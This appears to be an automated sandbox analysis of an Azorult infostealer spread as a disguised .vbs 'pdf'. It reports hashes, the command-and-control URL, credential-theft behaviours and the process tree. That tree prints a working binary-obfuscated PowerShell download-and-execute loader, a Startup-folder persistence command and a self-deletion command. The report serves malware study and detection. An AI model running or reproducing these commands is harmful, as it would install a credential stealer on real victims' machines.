azorult | e93cc14c93709b38dc8d95fb58d70d1a8930576c7d16c64c3efbc4cc08d951ff

Analysis

max time kernel
151s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
21/03/2022, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
980184286pdf.vbs
Size 2KB
Sample220321-kcf6qaadh8
SHA256 e93cc14c93709b38dc8d95fb58d70d1a8930576c7d16c64c3efbc4cc08d951ff
MD5 c1188d588fcfb8a8e95df788f8f95a30
SHA1 3c54462d17b9ce59064950da50e5dfe1ae60cc76
SHA512 56e3a7559238c1fabfc4d5de25e97e72bcd86151f940823b9064925ac6bf386526dac4bd34725e2566d3570d669d71b83cf9ac374633b835e460433e39d68cff
MD5 SHA1 SHA512

Score

10^/10

azorult collection infostealer spyware stealer trojan

Malware Config

Extracted

Family

azorult

http://185.29.8.100/Panel/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	1948	WScript.exe
7	1900	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 4 IoCs

pid	Process
4056	aspnet_compiler.exe
4056	aspnet_compiler.exe
4056	aspnet_compiler.exe
4056	aspnet_compiler.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1900 set thread context of 4056	1900	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2308	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1900	powershell.exe
1900	powershell.exe
4056	aspnet_compiler.exe
4056	aspnet_compiler.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3004	cmd.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeIncreaseQuotaPrivilege	1900	powershell.exe
Token: SeSecurityPrivilege	1900	powershell.exe
Token: SeTakeOwnershipPrivilege	1900	powershell.exe
Token: SeLoadDriverPrivilege	1900	powershell.exe
Token: SeSystemProfilePrivilege	1900	powershell.exe
Token: SeSystemtimePrivilege	1900	powershell.exe
Token: SeProfSingleProcessPrivilege	1900	powershell.exe
Token: SeIncBasePriorityPrivilege	1900	powershell.exe
Token: SeCreatePagefilePrivilege	1900	powershell.exe
Token: SeBackupPrivilege	1900	powershell.exe
Token: SeRestorePrivilege	1900	powershell.exe
Token: SeShutdownPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeSystemEnvironmentPrivilege	1900	powershell.exe
Token: SeRemoteShutdownPrivilege	1900	powershell.exe
Token: SeUndockPrivilege	1900	powershell.exe
Token: SeManageVolumePrivilege	1900	powershell.exe
Token: 33	1900	powershell.exe
Token: 34	1900	powershell.exe
Token: 35	1900	powershell.exe
Token: 36	1900	powershell.exe
Token: SeIncreaseQuotaPrivilege	1900	powershell.exe
Token: SeSecurityPrivilege	1900	powershell.exe
Token: SeTakeOwnershipPrivilege	1900	powershell.exe
Token: SeLoadDriverPrivilege	1900	powershell.exe
Token: SeSystemProfilePrivilege	1900	powershell.exe
Token: SeSystemtimePrivilege	1900	powershell.exe
Token: SeProfSingleProcessPrivilege	1900	powershell.exe
Token: SeIncBasePriorityPrivilege	1900	powershell.exe
Token: SeCreatePagefilePrivilege	1900	powershell.exe
Token: SeBackupPrivilege	1900	powershell.exe
Token: SeRestorePrivilege	1900	powershell.exe
Token: SeShutdownPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeSystemEnvironmentPrivilege	1900	powershell.exe
Token: SeRemoteShutdownPrivilege	1900	powershell.exe
Token: SeUndockPrivilege	1900	powershell.exe
Token: SeManageVolumePrivilege	1900	powershell.exe
Token: 33	1900	powershell.exe
Token: 34	1900	powershell.exe
Token: 35	1900	powershell.exe
Token: 36	1900	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 1900	1948	WScript.exe	81
PID 1948 wrote to memory of 1900	1948	WScript.exe	81
PID 1948 wrote to memory of 3004	1948	WScript.exe	83
PID 1948 wrote to memory of 3004	1948	WScript.exe	83
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 1900 wrote to memory of 4056	1900	powershell.exe	86
PID 4056 wrote to memory of 2776	4056	aspnet_compiler.exe	87
PID 4056 wrote to memory of 2776	4056	aspnet_compiler.exe	87
PID 4056 wrote to memory of 2776	4056	aspnet_compiler.exe	87
PID 2776 wrote to memory of 2308	2776	cmd.exe	89
PID 2776 wrote to memory of 2308	2776	cmd.exe	89
PID 2776 wrote to memory of 2308	2776	cmd.exe	89

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\980184286pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01100111,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00111000,00110100,00101110,00110011,00111000,00101110,00110001,00110011,00110010,00101110,00110100,00110011,00101111,01110010,01101111,01110100,01101000,00101111,01110010,01101111,01110100,01101000,00110001,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01100111) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };g([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:4056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2776
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\system32\timeout.exe 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\980184286pdf.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Suspicious behavior: RenamesItself
  PID:3004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1900-130-0x0000018540C90000-0x0000018540CB2000-memory.dmp

Download

memory/1900-131-0x00007FFC07D50000-0x00007FFC08811000-memory.dmp

Download

memory/1900-132-0x000001853F650000-0x000001853F652000-memory.dmp

Download

memory/1900-134-0x000001853F656000-0x000001853F658000-memory.dmp

Download

memory/1900-133-0x000001853F653000-0x000001853F655000-memory.dmp

Download

memory/4056-135-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4056-137-0x0000000000400000-0x0000000000420000-memory.dmp

Download